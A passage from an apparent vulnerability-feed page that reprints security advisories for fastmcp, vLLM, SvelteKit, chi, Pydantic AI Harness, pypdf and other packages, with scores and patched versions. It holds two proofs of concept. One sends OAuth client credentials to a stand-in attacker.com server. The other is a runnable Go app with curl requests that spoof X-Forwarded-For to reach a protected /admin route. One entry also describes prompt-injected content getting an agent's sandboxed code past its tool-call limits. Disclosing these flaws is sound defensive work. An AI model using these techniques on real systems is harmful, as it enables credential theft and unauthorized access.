 # server advertises it in RFC 9728 metadata
 await client.list_tools()
```

### Proof of concept

1. Run an attacker-controlled MCP server at https://attacker.com/mcp that advertises 
 OAuth metadata pointing to https://attacker.com/oauth/token

2. Client code:
 from fastmcp import Client
 from fastmcp.client.auth import ClientCredentialsOAuthProvider
 
 auth = ClientCredentialsOAuthProvider(
 client_id="legitimate-client-id",
 client_secret="legitimate-client-secret"
 )
 async with Client("https://attacker.com/mcp", auth=auth) as client:
 await client.list_tools()

3. Client exchanges credentials at https://attacker.com/oauth/token (attacker-controlled)

4. Attacker receives client_id and client_secret in Basic auth header

5. Attacker can now impersonate the client against the legitimate authorization server

The vulnerability exists because fastmcp does not validate that the authorization 
server advertised by the MCP server matches an expected issuer.

### Impact

Severity: Medium-High

Any application using fastmcp's M2M OAuth providers (ClientCredentialsOAuthProvider, 
PrivateKeyJWTOAuthProvider) to connect to user-supplied or untrusted MCP server URLs 
is vulnerable to credential disclosure and client impersonation.

Affected parties:
- Prefect Cloud users running agents with fastmcp that connect to user-provided MCP servers
- Any deployment using fastmcp's M2M auth to connect to MCP servers where the URL is 
 attacker-controllable or the server is compromised

Attack scenarios:
- User misconfigures MCP server URL in Prefect agent config
- MCP server URL obtained from user input without validation
- Legitimate MCP server is compromised/redirected
- MCP service provider (if SaaS) is compromised

Affected package ranges reported by GitHub:
fastmcp: >= 4.0.0a1, < 4.1.2
fastmcp-slim: >= 4.0.0a1, < 4.1.2
Action: GitHub lists first patched versions: fastmcp: 4.1.2; fastmcp-slim: 4.1.2. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### vLLM : DoS via unvalidated mm_processor_kwargs in multimodal image processors (Isaac, InternVL, H2OVL, etc.)
https://kevwire.com/record/CVE-2026-114055
vLLM : DoS via unvalidated mm_processor_kwargs in multimodal image processors (Isaac, InternVL, H2OVL, etc.) (Oct 23, 2026).
API clients can supply arbitrary `mm_processor_kwargs` per request. vLLM
forwards these values through the multimodal rendering and processing pipeline
to Hugging Face and custom image/video processor constructors and calls.
Resource-sensitive values such as image size, patch size, patch count, crop
count, or frame count can therefore be controlled by a remote client.

For processors that upscale inputs, a single request can force an allocation
large enough to terminate the API server or worker with an out-of-memory
condition.
CVSS 7.5 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-gx7p-2j49-hfq4).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114055&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-gx7p-2j49-hfq4: https://github.com/advisories/GHSA-gx7p-2j49-hfq4
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
NVD CVE-2026-114055: https://nvd.nist.gov/vuln/detail/CVE-2026-114055
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114055&date=2026-10-25
## Summary

API clients can supply arbitrary `mm_processor_kwargs` per request. vLLM
forwards these values through the multimodal rendering and processing pipeline
to Hugging Face and custom image/video processor constructors and calls.
Resource-sensitive values such as image size, patch size, patch count, crop
count, or frame count can therefore be controlled by a remote client.

For processors that upscale inputs, a single request can force an allocation
large enough to terminate the API server or worker with an out-of-memory
condition.

## Affected Components

The per-request field was introduced in commit
`041e29471671a3d43afedb6a749421d56ef4d3e7` and first shipped in v0.7.3.
The generic forwarding path remains present in current `main`.

The Isaac path is a concrete high-amplification example:

- `ChatCompletionRequest.mm_processor_kwargs`
- `OnlineRenderer` request extras
- `MMProcessorInputs.hf_processor_mm_kwargs`
- `BaseMultiModalProcessor.info.get_hf_processor(**hf_processor_mm_kwargs)`
- `IsaacProcessingInfo.get_image_processor(**kwargs)`
- `IsaacImageProcessor(**kwargs)`
- `process_vision_for_patches()`

Equivalent constructor forwarding exists in InternVL-derived processors,
H2OVL, Step3VL, NemotronVL, and other multimodal processors. The issue is at
the shared remote-input boundary and is not limited to a fixed model list.

## Impact

- **Availability:** one request can exhaust CPU or GPU memory and terminate a
 shared service process.
- **Scope:** all users of the affected service instance lose availability.
- **Authentication:** vLLM's API key is optional, so deployments without an
 external authentication layer are remotely reachable without privileges.

## Remediation

Reject non-empty per-request `mm_processor_kwargs` at every API-server request
schema by default. Operators serving only trusted clients can explicitly opt
in to the existing override behavior. Server-level `--mm-processor-kwargs` and
offline `LLM` overrides remain available.

This shared boundary covers current and future multimodal processors instead
of maintaining a model-specific list or a denylist that can miss custom
processor arguments.

A patch for this was merged here: https://github.com/vllm-project/vllm/pull/58830

Affected package ranges reported by GitHub:
vllm: >= 0.7.3, < 0.31.0
Action: GitHub lists first patched versions: vllm: 0.31.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SvelteKit: URL redirection to untrusted site via enhanced form submission
https://kevwire.com/record/CVE-2026-114060
SvelteKit: URL redirection to untrusted site via enhanced form submission (Oct 23, 2026).
The fix preserves leading double slashes in action paths without generating protocol-relative URLs, restricts non-redirect action navigation to the current origin, and includes the origin when comparing action locations with the current page.

Alternatively, disable navigation for non-redirect enhanced form results by supplying a custom submission callback:
CVSS 2.1 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-pfhg-q3qv-9q6r).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114060&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-pfhg-q3qv-9q6r: https://github.com/advisories/GHSA-pfhg-q3qv-9q6r
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114060&date=2026-10-25
### Impact
Applications using enhanced form actions (`use:enhance`) on routes that accept paths beginning with `//`, such as catch-all routes, may be vulnerable to an open redirect.

### Patches
A fix has been prepared for `@sveltejs/kit` 3.0.0. Users should upgrade to 3.0.0 or later.

The fix preserves leading double slashes in action paths without generating protocol-relative URLs, restricts non-redirect action navigation to the current origin, and includes the origin when comparing action locations with the current page.

### Workarounds
Reject requests whose parsed URL pathname begins with `//` before route resolution, for example in a reverse proxy or a SvelteKit `handle` hook.

Alternatively, disable navigation for non-redirect enhanced form results by supplying a custom submission callback:

```svelte
 ({ update }) => update({ navigate: false })}>

```

This applies non-redirect results to the current page instead of navigating to the action location.

Affected package ranges reported by GitHub:
@sveltejs/kit: < 3.0.0
Action: GitHub lists first patched versions: @sveltejs/kit: 3.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### uv vulnerable to arbitrary file deletion through RECORD entries
https://kevwire.com/record/CVE-2026-114110
uv vulnerable to arbitrary file deletion through RECORD entries (Apr 10, 2026).
Wheel RECORD entries can contain relative paths that traverse outside of the wheel’s installation prefix. In versions 0.11.5 and earlier of uv, these wheels were not rejected on installation and the RECORD was respected without validation on uninstall.

uv uses the RECORD to determine files to remove on uninstall. Consequently, a malicious or malformed wheel could induce deletion of arbitrary files outside of the wheel’s installation prefix on uninstall.
CVSS 2.1 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-pjjw-68hj-v9mw).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114110&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-pjjw-68hj-v9mw: https://github.com/advisories/GHSA-pjjw-68hj-v9mw
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
NVD CVE-2026-114110: https://nvd.nist.gov/vuln/detail/CVE-2026-114110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114110&date=2026-10-25
## Impact

Wheel RECORD entries can contain relative paths that traverse outside of the wheel’s installation prefix. In versions 0.11.5 and earlier of uv, these wheels were not rejected on installation and the RECORD was respected without validation on uninstall.

uv uses the RECORD to determine files to remove on uninstall. Consequently, a malicious or malformed wheel could induce deletion of arbitrary files outside of the wheel’s installation prefix on uninstall.

uv does not use the RECORD file to determine wheel file paths. Invalid RECORD entries cannot be used to create or modify files in arbitrary locations.

Standards-compliant Python packaging tooling does not produce RECORD files that exhibit this behavior; an attacker must manually manipulate the RECORD. A user must install *and* uninstall the malformed wheel to be affected. An attack must guess the depth of the installation prefix path in order to target system files.

Absolute paths in RECORD files are not allowed by the specification and, when present, uv always treats them as rooted in the wheel’s installation prefix. Absolute paths cannot be used to delete arbitrary files.

Only files can be deleted, attempts to delete a directory via an invalid RECORD entry will fail.

## Patches

Versions [0.11.6](https://github.com/astral-sh/uv/releases/tag/0.11.6) and newer of uv address the validation gap above, by [removing invalid entries from RECORD files on wheel installation](https://github.com/astral-sh/uv/pull/18943) and [ignoring RECORD paths that would escape the installation prefix on uninstall](https://github.com/astral-sh/uv/pull/18942).

## Workarounds

Users are advised to upgrade to 0.11.6 or newer to address this advisory.

Users should experience no breaking changes as a result of the patch above.

Affected package ranges reported by GitHub:
uv: <= 0.11.5
Action: GitHub lists first patched versions: uv: 0.11.6. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### chi: Client IP spoofing in ClientIPFromXFF via X-Forwarded-For
https://kevwire.com/record/CVE-2026-114437
chi: Client IP spoofing in ClientIPFromXFF via X-Forwarded-For (Oct 23, 2026).
`ClientIPFromXFF` skips any `X-Forwarded-For` entry in a configured trusted CIDR but never verifies that the direct TCP peer in `http.Request.RemoteAddr` belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by `middleware.GetClientIP`.

The attack is remote and requires one unauthenticated HTTP request with no user interaction (AV:N/AC:L/PR:N/UI:N). It changes security decisions and exposes one protected handler within the same application (S:U/C:L/I:L); no availability loss was observed (A:N).
CVSS 4.8 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-j6qf-3m9c-vwj3).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114437&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-j6qf-3m9c-vwj3: https://github.com/advisories/GHSA-j6qf-3m9c-vwj3
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114437&date=2026-10-25
### Summary

`ClientIPFromXFF` skips any `X-Forwarded-For` entry in a configured trusted CIDR but never verifies that the direct TCP peer in `http.Request.RemoteAddr` belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by `middleware.GetClientIP`.

The attack is remote and requires one unauthenticated HTTP request with no user interaction (AV:N/AC:L/PR:N/UI:N). It changes security decisions and exposes one protected handler within the same application (S:U/C:L/I:L); no availability loss was observed (A:N).

**Preconditions:** The application uses `ClientIPFromXFF` and makes the origin server reachable by an anonymous client outside the configured trusted-proxy CIDRs. No victim interaction is required.

1. Send `GET /admin` directly to the origin with no `X-Forwarded-For` header.
2. Observe a `403 Forbidden` response and an empty derived client IP.
3. Repeat the request with `X-Forwarded-For: 10.0.0.7, 198.51.100.42`.
4. Observe `200 OK` and `client-ip="10.0.0.7"`. Expected: the untrusted direct peer prevents the forwarding chain from being accepted.

### Details

The vulnerable code is `ClientIPFromXFF` in `middleware/client_ip.go`, lines 93-116 at the tested revision. It calls `walkXFF` with only the attacker-controlled header, skips every entry that matches a trusted prefix, and stores the first remaining address:

```go
walkXFF(r.Header[xForwardedForHeader], func(v string) bool {
 ip, ok := parseHeaderAddr(v)
 if !ok {
 return true
 }
 if inAnyPrefix(ip, prefixes) {
 return false
 }
 found = ip
 return true
})
```

The function does not parse `r.RemoteAddr` before this walk. Consequently, the configured CIDRs identify trusted strings inside `X-Forwarded-For`, but do not establish that the immediate sender is one of those trusted proxies.

### Proof of concept

Using Go 1.24 or later, create and run this minimal application against the tested revision:

```sh
mkdir chi-clientip-poc
cd chi-clientip-poc
go mod init clientip-poc
go get github.com/go-chi/chi/v5@167e1e3bd039d060696b99c8da4e876ae04f42c1
cat > main.go <<'EOF'
package main

import (
 "fmt"
 "log"
 "net/http"

 "github.com/go-chi/chi/v5"
 "github.com/go-chi/chi/v5/middleware"
)

const allowedIP = "10.0.0.7"

func main() {
 r := chi.NewRouter()
 r.Use(middleware.ClientIPFromXFF("198.51.100.0/24"))
 r.Get("/admin", func(w http.ResponseWriter, r *http.Request) {
 clientIP := middleware.GetClientIP(r.Context())
 if clientIP != allowedIP {
 http.Error(w, fmt.Sprintf("denied: tcp-peer=%q client-ip=%q", r.RemoteAddr, clientIP), http.StatusForbidden)
 return
 }
 fmt.Fprintf(w, "allowed: tcp-peer=%q client-ip=%q\n", r.RemoteAddr, clientIP)
 })

 log.Print("listening on http://127.0.0.1:3001")
 log.Fatal(http.ListenAndServe("127.0.0.1:3001", r))
}
EOF
go run .
```

The no-header control was rejected:

```console
$ curl --http1.1 -i http://127.0.0.1:3001/admin
HTTP/1.1 403 Forbidden
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
Date: Tue, 06 Oct 2026 15:46:27 GMT
Content-Length: 48

denied: tcp-peer="127.0.0.1:54416" client-ip=""
```

Adding the forged chain authorized the same direct client:

```console
$ curl --http1.1 -i -H 'X-Forwarded-For: 10.0.0.7, 198.51.100.42' http://127.0.0.1:3001/admin
HTTP/1.1 200 OK
Date: Tue, 06 Oct 2026 15:46:33 GMT
Content-Length: 57
Content-Type: text/plain; charset=utf-8

allowed: tcp-peer="127.0.0.1:54417" client-ip="10.0.0.7"
```

### Impact

I made an anonymous direct connection from `127.0.0.1`, supplied a header that ended in a different trusted-proxy CIDR, and caused the application to treat my client IP as the allowlisted `10.0.0.7`. This changed the authorization decision from `403 Forbidden` to `200 OK` for the protected handler.

Affected package ranges reported by GitHub:
github.com/go-chi/chi/v5: <= 5.3.2
Action: GitHub lists first patched versions: github.com/go-chi/chi/v5: 5.4.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pydantic AI Harness tool-call limit bypass in nested CodeMode calls
https://kevwire.com/record/CVE-2026-114386
Pydantic AI Harness tool-call limit bypass in nested CodeMode calls (Oct 21, 2026).
Pydantic AI Harness before 0.59.0 fails to enforce UsageLimits.tool_calls_limit on nested tool calls dispatched from run_code in the CodeMode toolset. Users or prompt-injected content can make the sandboxed program invoke tools via run_nested_call() without check_before_tool_call, exceeding operator limits on costly or side-effecting tools.
CVSS 6.3 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-3589-pxp7-3gj8).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114386&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-3589-pxp7-3gj8: https://github.com/advisories/GHSA-3589-pxp7-3gj8
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114386&date=2026-10-25
Pydantic AI Harness before 0.59.0 fails to enforce UsageLimits.tool_calls_limit on nested tool calls dispatched from run_code in the CodeMode toolset. Users or prompt-injected content can make the sandboxed program invoke tools via run_nested_call() without check_before_tool_call, exceeding operator limits on costly or side-effecting tools.

Affected package ranges reported by GitHub:
pydantic-ai-harness: < 0.59.0
Action: GitHub lists first patched versions: pydantic-ai-harness: 0.59.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### odf-kit has HTML injection leading to XSS in odsToHtml() via unescaped style attribute values
https://kevwire.com/record/GHSA-2rqm-h6hv-g79v
odf-kit has HTML injection leading to XSS in odsToHtml() via unescaped style attribute values (Oct 23, 2026).
ODF style values are interpolated into `style="..."` attributes without HTML-escaping in odf-kit's ODS to-HTML renderer (`odsToHtml()`). A double-quote character inside an attacker-controlled style value breaks out of the attribute, allowing arbitrary HTML/attribute injection — and therefore script execution (XSS) — from a crafted `.ods` file wherever the rendered output is inserted as HTML, which is the documented purpose of the function.

Two emission sites in `src/ods/to-html/html-renderer.ts` (before 0.14.0, `src/ods-reader/html-renderer.ts`) write document-controlled values into a `style` attribute without escaping:
CVSS 6.1 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-2rqm-h6hv-g79v).
Sources:
GitHub-reviewed advisory GHSA-2rqm-h6hv-g79v: https://github.com/advisories/GHSA-2rqm-h6hv-g79v
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
### Summary

ODF style values are interpolated into `style="..."` attributes without HTML-escaping in odf-kit's ODS to-HTML renderer (`odsToHtml()`). A double-quote character inside an attacker-controlled style value breaks out of the attribute, allowing arbitrary HTML/attribute injection — and therefore script execution (XSS) — from a crafted `.ods` file wherever the rendered output is inserted as HTML, which is the documented purpose of the function.

### Details

Two emission sites in `src/ods/to-html/html-renderer.ts` (before 0.14.0, `src/ods-reader/html-renderer.ts`) write document-controlled values into a `style` attribute without escaping:

- **Cell style.** `buildInlineStyle()` assembles a CSS string from the cell's formatting properties (`fo:color`, `fo:font-size`, `fo:font-family`, `fo:background-color`, `fo:text-align`, etc.) with no escaping, and `renderCell` emits it raw as the cell's `style` attribute.
- **Row height.** `row.height` (from `style:row-height`) is emitted raw into the row element's `style` attribute.

The same defect in the ODT renderer (`odtToHtml()`) is tracked as GHSA-3cgg-c5pp-57h6 (CVE-2026-113787).

### Impact

Any consumer that renders `odsToHtml()` output as HTML gets XSS from a crafted `.ods` file they convert: untrusted file → arbitrary tags and attributes → script execution in the host page with the page's origin.

### Patches

Fixed in 0.14.2. Both sites now route document-controlled values through a shared attribute-escaping helper:

- [`1424227`](https://github.com/GitHubNewbie0/odf-kit/commit/1424227d1ca2716a249b623d1456575ff0331dcc): escape style attribute values in the ODS HTML renderer
- [`aa64c73`](https://github.com/GitHubNewbie0/odf-kit/commit/aa64c734ebd7e7be40e35fcda83b1144193c3da2): the shared `escapeAttr` helper

Users should upgrade to 0.14.2 or later.

### Credit

Reported by @PethuKannan.

Affected package ranges reported by GitHub:
odf-kit: >= 0.9.8, < 0.14.2
Action: GitHub lists first patched versions: odf-kit: 0.14.2. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### pypdf: Possible long runtimes for repeated references to the same missing object
https://kevwire.com/record/CVE-2026-115572
pypdf: Possible long runtimes for repeated references to the same missing object (Oct 23, 2026).
An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires loading relevant parts of a file (like their pages) where the same, but non-existent indirect object is referenced multiple times.

This has been fixed in [pypdf==6.21.2](https://github.com/py-pdf/pypdf/releases/tag/6.21.2).
CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115572).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115572&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-6c7f-9265-g8fw: https://github.com/advisories/GHSA-6c7f-9265-g8fw
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
NVD CVE-2026-115572: https://nvd.nist.gov/vuln/detail/CVE-2026-115572
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115572&date=2026-10-25
### Impact

An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires loading relevant parts of a file (like their pages) where the same, but non-existent indirect object is referenced multiple times.

### Patches

This has been fixed in [pypdf==6.21.2](https://github.com/py-pdf/pypdf/releases/tag/6.21.2).

### Workarounds

If you cannot upgrade yet, consider applying the changes from PR [#4240](https://github.com/py-pdf/pypdf/pull/4240).

Affected package ranges reported by GitHub:
pypdf: < 6.21.2
Action: GitHub lists first patched versions: pypdf: 6.21.2. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### pypdf: Possible long runtimes for repeated malformed cross-reference entries (Follow-up)
https://kevwire.com/record/CVE-2026-115585
pypdf: Possible long runtimes for repeated malformed cross-reference entries (Follow-up) (Oct 23, 2026).
An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires cross-reference streams with repeated malformed cross-reference streams.

This has been fixed in [pypdf==6.21.2](https://github.com/py-pdf/pypdf/releases/tag/6.21.2).
CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115585).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115585&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-jr96-gvgh-j3r4: https://github.com/advisories/GHSA-jr96-gvgh-j3r4
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
NVD CVE-2026-115585: https://nvd.nist.gov/vuln/detail/CVE-2026-115585
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115585&date=2026-10-25
### Impact

An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires cross-reference streams with repeated malformed cross-reference streams.

### Patches

This has been fixed in [pypdf==6.21.2](https://github.com/py-pdf/pypdf/releases/tag/6.21.2).

### Workarounds

If you cannot upgrade yet, consider applying the changes from PR [#4240](https://github.com/py-pdf/pypdf/pull/4240).

### Notes

This is a follow-up to https://github.com/py-pdf/pypdf/security/advisories/GHSA-55h5-xmcq-c37v, which had the side-effect of still loading the whole stream again despite the cache being present.

Affected package ranges reported by GitHub:
pypdf: < 6.21.2
Action: GitHub lists first patched versions: pypdf: 6.21.2. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### pypdf: Possible long runtimes for large xref table header limits
https://kevwire.com/record/CVE-2026-115580
pypdf: Possible long runtimes for large xref table header limits (Oct 23, 2026).
An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires opening a file with large/wrong upper limits in the xref table.

This has been fixed in [pypdf==6.21.2](https://github.com/py-pdf/pypdf/releases/tag/6.21.2).
CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115580).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115580&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-gmh7-3g9r-mjh5: https://github.com/advisories/GHSA-gmh7-3g9r-mjh5
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
NVD CVE-2026-115580: https://nvd.nist.gov/vuln/detail/CVE-2026-115580
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115580&date=2026-10-25
### Impact

An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires opening a file with large/wrong upper limits in the xref table.

### Patches

This has been fixed in [pypdf==6.21.2](https://github.com/py-pdf/pypdf/releases/tag/6.21.2).

### Workarounds

If you cannot upgrade yet, consider applying the changes from PR [#4239](https://github.com/py-pdf/pypdf/pull/4239).

Affected package ranges reported by GitHub:
pypdf: < 6.21.2
Action: GitHub lists first patched versions: pypdf: 6.21.2. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Tokio: Race condition in `tokio::time::Interval`
https://kevwire.com/record/CVE-2026-115567
Tokio: Race condition in `tokio::time::Interval` (Oct 23, 2026).
On the multi-threaded runtime, there is a race condition between `Interval::poll_tick` and the runtime's time driver.

This affects `Interval` only. `Sleep` and `Timeout` are **not** affected.
CVSS 5.8 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-5wjr-9356-4wc8).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115567&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-5wjr-9356-4wc8: https://github.com/advisories/GHSA-5wjr-9356-4wc8
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115567&date=2026-10-25
### Summary

On the multi-threaded runtime, there is a race condition between `Interval::poll_tick` and the runtime's time driver.

This affects `Interval` only. `Sleep` and `Timeout` are **not** affected.

### Details

In Tokio v1.54.0, a race condition between `tokio::time::Interval::poll_tick` (including `.tick().await`) and the runtime time driver can drop an internal timer entry without synchronizing with the driver thread that is firing it. This causes a data race and use-after-free on the timer's waker and task state in safe Rust, leading to assertion panics, task reference-count corruption, or heap memory corruption.

This bug was introduced by https://github.com/tokio-rs/tokio/pull/8458, and it was fixed by https://github.com/tokio-rs/tokio/pull/8692.

### Impact

This may lead to crashes and use-after-frees in applications using `Interval` on a multi-threaded runtime.

Since this issue is known to lead to crashes in production systems, the v1.54.0 release of Tokio has been yanked.

### Credits

Thank you to [creepycode](https://github.com/ByteZ1337) and [carabistouille](https://github.com/carabistouflette) for reporting this privately using the procedure outlined in our security policy. They both reported the issue independently of each other.

Affected package ranges reported by GitHub:
tokio: = 1.54.0
Action: GitHub lists first patched versions: tokio: 1.54.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Electron: Mitigation for compromised eMudhra intermediate certificates
https://kevwire.com/record/CVE-2026-115570
Electron: Mitigation for compromised eMudhra intermediate certificates (Oct 23, 2026).
A set of eMudhra intermediate certificates were compromised and are being blocked by browsers and other TLS clients. This Electron update adds the same block to both Chromium networking and Node.js `tls`, `https` and `fetch`. On earlier versions, an attacker holding a certificate issued through these intermediates and able to intercept network traffic could impersonate a TLS server to an app.

Apps are only affected if they make TLS connections over a network an attacker can intercept. Apps that make no network connections are not affected.
CVSS 7.4 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115570).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115570&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-jr5w-w6x2-84p9: https://github.com/advisories/GHSA-jr5w-w6x2-84p9
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
NVD CVE-2026-115570: https://nvd.nist.gov/vuln/detail/CVE-2026-115570
